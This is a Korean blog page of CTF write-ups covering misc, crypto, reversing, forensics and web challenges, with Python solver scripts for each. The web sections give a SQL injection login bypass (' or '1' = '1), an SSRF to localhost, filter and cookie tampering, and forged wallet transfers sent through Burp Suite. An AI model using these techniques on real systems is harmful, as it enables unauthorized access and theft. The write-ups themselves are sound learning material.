eval("fh.write(b'"+bin_+"')")
fh.close()
 
cs

 

스테가노 사이트()에서 문자열만 보면, fl4g 찾을 수 있음.

: 오른쪽 부분을 특수문자까지 같이 rot 돌리면 플래그가 나옴. https://www.dcode.fr/rot-cipher

 

 

 

Tri-color QR (200pts) 

I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?\

 

stegsolve.jar로 3개 뽑아낼 수 있음.

그리고 hxd로 열었을때 푸터 시그니쳐 뒤에 PK 시그니쳐 확인 가능.

뽑아내서 압축 풀면 4번째 부분을 구할 수 있음.

 

 

 

Programming

Subset sum (200pts) 

You are given a number n and an array. Find those elements from the array that sum to the given number.

Number of tests: 10
Size of the array: 4 - 40 (+4 per level)
Input data type: 64 bit unsigned ints
Input formatting: 2 lines of text, a line containing n and a line containg the array.
Output formatting: the size of the subset and the elements of the subset, separated by a space
Time limit: 3s

 

야매로 푼 문제.

 

합이 나오면, 그 합이 되는 원소랑 개수를 구해서 보내는 거 같은데, 1과 그 합을 그대로 보내보니까 통과가 되서 그냥 간단 스크립트 짜서 품.

 

 

Reverse Engineering

 

Baby Rev (50pts) 

This program asks me for the flag, but i don't know it!

 

IDA

 

Easy Rev (75pts) 

Like the last one, but harder

 

IDA

 

Math (150pts) 

This executable is doing MATH. Everyone hates that so it must be hard to reverse

 

IDA로 까면 플래그 인코딩 연산 하는 부분이 있는데 이 부분을 그대로 파이썬으로 옮겨서 브포를 돌렸다.

완전자동화로 코드 짜다가 귀찮아서 그냥 반 노가다로 풀었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def solv(input, q, p):
    key = 14335727
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv" #44
    cipher = "0"*44
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = key ^ (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    x=1
    if cipher[x] == flag[x] and cipher[x+1== flag[x+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
#yee = "TIMCTF{I_s33_you_UnDeRsTaNd_x86}"
yee= "TIMCTF{"
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Strange jump (250pts) 

This application likes to jump!

 

math와 동일. 플래그 인코딩하는 부분 찾아서 브포했다.

연산코드마저 math의 key xor하는 부분을 제외하면 math와 풀이 코드가 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def solv(input, q, p):
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9" #44
    cipher = "0"*55
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    y = 17
    if cipher[y] == flag[y] and cipher[y+1== flag[y+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
yee = "TIMCTF{"
 
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

math와 동일. 돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Web

Not so empty website (50pts) 

This website looks empty, but trust me, it is not!

페이지 소스에 나와있다.

 

 

Secret key of swag (150pts) 

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

parse()함수가 extract($_GET)과 같은 효과

$processed_key에 그대로 hax0r을 넣으면 끝.

 

 

Admin panel (200pts) 

Your job is to hack this admin panel and login.


sql 인젝션.

admin@admin

pw : ' or '1' = '1

 

반응형
반응형

서버는 닫힌 관계로 사진 없이 글로만 풀이를 작성하였습니다.

 

 

OPEN CTF Write Up

 

MISC - Welcome

 

이미지 파일이 주어지는데, HxD로 열어보면 PNG 파일과 JPG 파일이 붙어있음을 확인할 수 있다. 처음에 PNG 시그니쳐로 시작하기 때문에 엔드시그니쳐 END를 찾아내서 바로 다음에 붙어있는 JPG 시그니쳐부터 끝까지 추출해서 jpg 파일을 하나 만들어주면 flag가 담긴 이미지가 나온다.

 

 

WEB 첫 번째

 

문제 이름이 easy web이었던가.. 혀튼 id값을 받는 폼이 있었는데 admin으로 로그인만 하면 되는 문제였다.

 

여러가지를 입력해보니, "admi"을 필터링 한다는 사실을 알 수 있었다. (해당 문자열을 필터링한 나머지 문자열만 출력한다.)  그렇다면 입력을 admadmiin으로 입력해준다면 가운데 "admi"을 필터링한 나머지 문자열이 admin이 되어서 플래그가 나온다.

 

 

WEB 두 번째

 

문제이름이 proxy 이었을 것이다. 쿼리(url뒤에 ?로 값받는거)로 url을 입력받아 해당 url의 내용을 보여준다.

 

url에 문제 url을 입력하고 페이지 소스를 보니, 주석으로 admin.php가 적혀있던 것으로 기억한다.

 

url에 문제 url/admin.php를 입력했을 때 권한이 막혔거나 아무것도 표시되지 않았던 것으로 기억되고, 그래서 url을 ㅗhttp://127.0.0.1/admin.php 로 했을 때 flag가 나왔던 것 같다.

 

 

WEB 세 번째

 

MAGIC

 

이 문제는 php 소스를 제공했다. 매직해쉬를 이용한 것인데 주니어 보안 세미나에서 php 관련 발표에서도 다뤘떤 내용이었다.

 

https://www.whitehatsec.com/blog/magic-hashes/ 여기 참조해서 md5값을 넣어주면 됐었다.

 

 

WEB 네 번째

 

문제이름에 cookie가 들어갔던 문제. 매우 쉬운 문제. 그냥 쿠키중에 guest를 값으로 가지는게 있었을 것이다. 그 값을 admin으로 바꾸어주면 flag가 나왔다.

 

 

 

 

부스 write up

 

가상화폐 거래서 해킹 체험

 

포인트와 코인이 있는데 코인 수를 50000이상으로 늘리면 된다.

 

 

방법 1

 

처음 계정을 만들면 1포인트를 제공한다. 1코인 시세가 0.00012정도였으니 8000개 정도를 구매할 수 있다.

 

그럼 7개의 계정을 만들어서 8000개정도 구매한뒤 한 계정으로 모두 송금하면 된다.

 

(시도한 사람을 없었다고... 물론 정석은 아니었다.)

 

 

방법 2

 

풀고 있는데 옆에 계신 분이 찾으신 방법. 이 방법도 정석은 아니다.

 

계정을 2개 만든다. (A, B 라고 하겠다.)

 

A로 코인을 1개 이상 매수하고 B로 -(원하는만큼) 송금한다. -50000만큼 보냈다치면, A의 잔액은 +50000이 되는 것이고 B의 잔액은 -50000이 된다.

 

이렇게 A의 잔액을 늘릴 수 있다.

 

 

[A가 0개의 코인을 가지고 있다면 음수의 개수만큼을 송금하는 것은 실패한다. 하지만 코인의 수가 0이 아니라면 음수의 개수만큼 송금이 가능했다.]

 

 

방법 3

 

정석.

 

송금을 할 때, 클라이언트는 서버로 sender, receiver, amount만 보낸다. sender의 지갑에 대한 별다른 인증이 없기 때문에 지갑 주소만 안다면 해당 지갑에 든 코인을 빼낼 수 있다.

 

랭킹을 보면 codegate라는 계정이 존재하는데, 해당 유저의 페이지로 들어가보면 코인을 999999만큼 가지고 있다.

이 유저의 코인을 내 지갑주소로 보내면 된다.

유저 페이지에서 지갑주소가 표시되진 않지만, 크롬 개발자 도구 > Network에서 wallet의 response들을 잘 살펴보면 지갑주소를 찾아낼 수 있다.

 

burp suite을 이용해 송금할 때 발생되는 패킷을 잡아서,

찾아낸 codegate의 지갑주소를 sender로, 나의 지갑주소를 receiver로, amount는 50000 이상으로 바꿔주면 된다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

YISF 2019 본선 풀이  (0) 2019.08.19
제17회 YISF 2019 예선 write-up  (0) 2019.08.14
TAMU CTF 2019 wirte up  (0) 2019.03.04
제 1회 TRUST CTF write up  (0) 2019.02.18
NeverLAN CTF 2019 write up  (0) 2019.02.04
반응형

M4ndU 41st place 460 points

개인팀으로 문제를 풀다가 2인팀으로 바꿨습니다.


Irin_M4ndU 16th place 1060 points


푼 문제들:

mic_check                 test

What_the...three         crypto

Can you Bruteforcing? Web

goback                 misc

Base64                 misc

Easy_Forensics(1)         forensics

Secret_Code_from...       misc

선물문제(저놈 잡아라)    gift

피보다진한...?               forensics

restore                       misc

Easy_Forensics(2)          forensics


그리고 풀다만 Flag Leaked ...





1. mic_check

test


flag : flag{test}



2. What_the...three

crypto



한때 우리 인류는 외계 생명체에 많은 관심을 가지고 있었다. 그래서 우리 인류는 외계에 지구를 소개하는 데이터를 전파에 넣고 전송을 했었는데,,, 그로부터 10년뒤,, 우리 인류는, 그것도 한국은 외계에서 보낸듯한 메시지를 수신받게 되었다. 그런데, 잠깐,,, 우리 인류가 사용하는 체계의 데이터가 아니었다... 과연 아래의 데이터는 무슨내용일까?

========== DATA START ========== 002121 002211 002102 002122 011120 010002 002101 011001 010112 002122 011111 001220 001210 011011 010112 010002 002101 011000 010112 002212 001220 001210 010222 010112 002122 001210 010112 010002 010220 011011 010112 002112 002101 010121 011122 ========== DATA END ============



3진법이다. 계산해서 ascii로 바꿔주면 된다.


flag : FLAG{S@m_Gy30p_S@l_M30k_G0_Sip_D@a}




3. Can you Bruteforcing?

Web


패스워드 입력 폼이 있는데, 패스워드는 숫자 4자리라고 한다.


burpsuit 돌려서 구했다.


password : 1016

flag : NEWSECU{Can_You_Brute_Force_This_Password} 




4. goback

misc


친구에게 사랑에 빠진 누군가가 있었다.

그 누군가는 드디어 20살이 된 기념으로 친구에게 고백을 하기위해 파일을 작성하였다.

그런데, 그 누군가는 해커기질이 너무 강해서인지,

고백하기 위한 문장 마저 파일 내부에 숨겨버렸는데,,

과연, 그 남자의 운명은 어떻게 될 것인가..


hwp파일이 주어진다.


hwpscan2라는 프로그램으로 까보면 png파일이 하나 있는데, hex(Decompress)로 보면 끝부분에 플래그가 있다.




flag : FLAG{He_was_a_car...}

그는 차였어...........ㅠㅠ



5. Base64
misc


nc 35.237.96.115 1357 base64를 3번 디코딩하라!


코드 짜서 돌리면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import base64
#context.log_level='debug'
 
def base64ToString(b):
    first = base64.b64decode(b).decode('utf-8')
    return first
 
#connect nc
= remote("35.237.96.115"1357)
 
for i in range(3):
    text = p.recvline()
    dec = base64ToString(text.strip())
    p.recvline()
    p.recvuntil(":")
    p.sendline(dec)
 
p.recvline()
 
cs


flag : FLAG{simple_base64_decoding}




6. Easy_Forensics(1)

forensics


윈도우 로그인 암호를 찾아라!


제가 푼 문제가 아니라서 pass

해시 돌리면 된다고 했던 것 같다.


password : st4rt



7. Secret_Code_from...

misc


이것도 제가 푼 문제가 아니라서 pass



8. 선물문제(저놈 잡아라)

gift


pass




9. 피보다진한...?

forensics


pass




10. restore

misc


포토샵 노가다 하면 풀린다고 한다.

파워노가다




11. Easy_Forensics(2)

forensics


이미지를 찾아라! 폴더에서 Flag_Image.png파일을 stegsolve.jar 프로그램 돌리면 플래그 이미지가 나온다.


바탕화면에 HxD 깔려있어서 hex로 별짓 다했던 문제..ㅠㅠ



12. Easy_Forensics(4)

flag.zip파일을 더블클릭하면 셧다운이 예약된다. 반디집 프로그램 자체를 실행하면 셧다운이 걸리는 것인데.

이렇게 만드는 파이썬 코드와 파이썬 코드를 실행하는 쉘을 각각 유저/공용/음악폴더와 시작프로그램 폴더에서 찾을 수 있다.

그리고 모르겠다..


12. Flag Leaked


com.android.provider.telephony/ 이쪽에 mmssms.db라는 파일이 있다. db뷰어로 이 파일을 보면 메세지 내용을 확인 할 수 있다.


메세지에 담긴 링크로 암호화된 문자열이 있는 flag.txt  와 이를 복호화해주는 apk파일, pw 문자열을 얻을 수 있다.


flag.txt를 Download폴더에 넣고, 폰에 앱을 설치해 복호화를 시도했는데, 실패했다...

반응형

'CTF Write Up' 카테고리의 다른 글

제 1회 TRUST CTF write up  (0) 2019.02.18
NeverLAN CTF 2019 write up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29

+ Recent posts